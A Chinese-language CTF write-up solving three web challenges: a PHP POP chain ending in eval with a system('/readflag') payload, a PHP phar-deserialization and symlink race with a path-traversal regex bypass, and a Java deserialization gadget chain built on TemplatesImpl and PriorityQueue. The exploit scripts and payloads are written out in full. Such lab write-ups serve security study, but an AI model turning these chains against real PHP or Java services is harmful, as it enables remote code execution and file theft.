WEB
上周末四场比赛,由于一开始MRCTF太坐牢了,一直在打DAS,周日调休满课(主要是在补作业)胖哈勃和网刃也都只看了一点,心累,忙里偷闲赶紧复现一下(
warmup-php
下载附件,有四个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | <?php spl_autoload_register(function($class){     require("./class/".$class.".php"); }); highlight_file(__FILE__); error_reporting(0); $action = $_GET['action']; $properties = $_POST['properties']; class Action{
      public function __construct($action,$properties){
          $object=new $action();         foreach($properties as $name=>$value)             $object->$name=$value;         $object->run();     } }
  new Action($action,$properties); ?>
   | 
 
通过传参实例化一个类,如果这个类当前不存在则通过spl_autoload_register包含类文件,通过properties给类里面的某些属性赋值,最后执行run方法
之后直接去审计class目录下的四个类,我们可以发现都没有构造方法(__construct),所以只能从run入手,然后在Base类中可以找到我们特别想调用的方法
1 2 3 4 5 6 7 8 9 10 11 12 13
   | public function evaluateExpression($_expression_,$_data_=array())     {         if(is_string($_expression_))         {             extract($_data_);             return eval('return '.$_expression_.';');         }         else         {             $_data_[]=$this;             return call_user_func_array($_expression_, $_data_);         }     }
   | 
 
那么现在就要找最终可以调用到evaluateExpression方法的链子了
先去看ListView->run,调用到了renderContent,并通过renderSection方法对$this->template正则匹配操作,而renderSection判断正则匹配到的renderxxx是否存在方法,存在则直接调用该方法,之后就要去找可利用的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   |  public function run()     {         echo "<".$this->tagName.">\n";         $this->renderContent();         echo "<".$this->tagName.">\n";     }
  public function renderContent()     {         ob_start();         echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);         ob_end_flush();     }
  protected function renderSection($matches)     {         $method='render'.$matches[1];         if(method_exists($this,$method))         {             $this->$method();             $html=ob_get_contents();             ob_clean();             return $html;         }         else             return $matches[0];     }
   | 
 
可以在TeseView中发现可以利用的方法,并且这个类还继承了ListView类
这里又要回到前面,我们需要调用到evaluateExpression,所以就直接去找可以调用到这个方法,找到renderTableRow,只要$this->rowHtmlOptionsExpression为我们的命令就可以直接执行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   |  public function renderTableRow($row) // 这里我们使用第一个if语句调用,因为比较好利用     {         $htmlOptions=array();         if($this->rowHtmlOptionsExpression!==null)         {             $data=$this->data[$row];             $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));             if(is_array($options))                 $htmlOptions = $options;         }
         ……     }
  public function renderTableBody()     {         $data=$this->data;         $n=count($data);         echo "<tbody>\n";
          if($n>0)         {             for($row=0;$row<$n;++$row)                 $this->renderTableRow($row);         }     …… }
   | 
 
poc:
1
   | ListView#run->ListView#renderContent->LiseView#renderSection->renderTableBody->TestView#renderTableRow->Base#evaluateExpression
   | 
 
payload:
1 2 3 4 5 6
   | get: action=TestView post: properties[rowHtmlOptionsExpression]=system('/readflag') &properties[template]={TableBody} &properties[data]=1
   | 
 

又又又又来复现了
soeasy_php
有元素被隐藏了,直接去edit.php

png处存在任意文件读取漏洞
payload:
1 2
   | post: png=../edit.php&flag=
   | 
 
然后查看uploads/head.png就可以得到源码(不过这个是看别的师傅的wp审计源码发现的,但不知道别的师傅是不是这样发现的:
edit.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
   | <?php ini_set("error_reporting","0"); class flag{     public function copyflag(){         exec("/copyflag");          echo "SFTQL";     }     public function __destruct(){         $this->copyflag();     }
  }
  function filewrite($file,$data){         unlink($file);         file_put_contents($file, $data); }
 
  if(isset($_POST['png'])){     $filename = $_POST['png'];     if(!preg_match("/:|phar|\/\/|php/im",$filename)){         $f = fopen($filename,"r");         $contents = fread($f, filesize($filename));         if(strpos($contents,"flag{") !== false){             filewrite($filename,"Don't give me flag!!!");         }     }
      if(isset($_POST['flag'])) {         $flag = (string)$_POST['flag'];         if ($flag == "Give me flag") {             filewrite("/tmp/flag.txt", "Don't give me flag");             sleep(2);             die("no no no !");         } else {             filewrite("/tmp/flag.txt", $flag);           }         $head = "uploads/head.png";         unlink($head);         if (symlink($filename, $head)) {             echo "æåæ´æ¢å¤´å";         } else {             unlink($filename);             echo "鿣叏æä»¶ï¼å·²è¢«å é¤";         };     } }
 
   | 
 
upload.php
1 2 3 4 5 6 7 8 9 10 11
   | <?php if (!isset($_FILES['file'])) {     die("请ä¸ä¼ å¤´å"); }
  $file = $_FILES['file']; $filename = md5("png".$file['name']).".png"; $path = "uploads/".$filename; if(move_uploaded_file($file['tmp_name'],$path)){     echo "ä¸ä¼ æåï¼ ".$path; };
   | 
 
重点还是要看edit.php
非预期:
简单审计一下:
1.第一个if语句ban掉了php协议和phar协议
2.第二个if语句通过symlink将我们传入的png与uplaod/head.png链接,导致可以任意文件读取
3.flag类的copyflag方法将根目录下的flag传到/tmp/flag.txt,并且使得www-data所有
因为存在类,而我们又想调用这个类的copyflag方法,而这个类在__destruct会自动调用,这里又没有明显的反序列化触发点,但又很多文件操作的函数,那就直接用phar协议吧
由于第一个if直接会正则匹配到phar,那就只能看后面了,本地测试之后发现可以利用unlink,所以现在要使得symlink($filename, $head)为flase就好了
phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | <?php class flag{     public function copyflag(){         exec("/copyflag");          echo "SFTQL";     }     public function __destruct(){         $this->copyflag();     }
  } $a = new flag(); $phar = new Phar("symlink.phar");  $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >');  $phar->setMetadata($a);  $phar->addFromString("exp.txt", "test");  $phar->stopBuffering();
 
 
   | 
 
上传之后,记录下文件的路径:
1
   | phar://uploads/b143915ffb6ca6b19dff97b6a93389f0.png
   | 
 
可以利用bp的intruder 条件竞争执行phar协议,用../edit.php测试的时候虽然成功了,并且我们也可以发现/uploads/head.png里面的内容也变成了edit.php的内容,但是由于想要得到/tmp/flag.txt内容的时候因为正则没有匹配到,直接判断文件里面存在flag,使得flag被覆盖了
所以我们可以构造..//../../../../../tmp/flag.txt,//用于绕过正则匹配

听说这不是预期解,等之后学习一下
warmup-java
复现来啦……
学java有一段时间了,现在来看看欸嘿……
下载jar包,可以先看pom.xml,发现没有其他另外的依赖,再去看看类
emmmmm,和刚做过的lab9,一模一样,直接用那个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
   | package lab9;
  import com.example.warmup.MyInvocationHandler; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import lab1.Utils;
  import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.*;
  public class Exp {     public static void setField(Object obj, String name, Object value) throws Exception{         Field field = obj.getClass().getDeclaredField(name);         field.setAccessible(true);         field.set(obj, value);     }
      public static void main(String[] args) throws Exception{
          String command = "calc";         final Object templates = Gadgets.createTemplatesImpl(command);
          MyInvocationHandler handler = new MyInvocationHandler();         setField(handler, "type", Templates.class);         Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
          PriorityQueue priorityQueue = new PriorityQueue(2);         priorityQueue.add(1);         priorityQueue.add(1);
          setField(priorityQueue, "queue", new Object[]{templates, 1});         setField(priorityQueue, "comparator", proxy);
          ByteArrayOutputStream bos = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(bos);         oos.writeObject(priorityQueue);         System.out.println(Utils.bytesTohexString(bos.toByteArray()));
      } }
   | 
 
Reference
atao
雪殇姐姐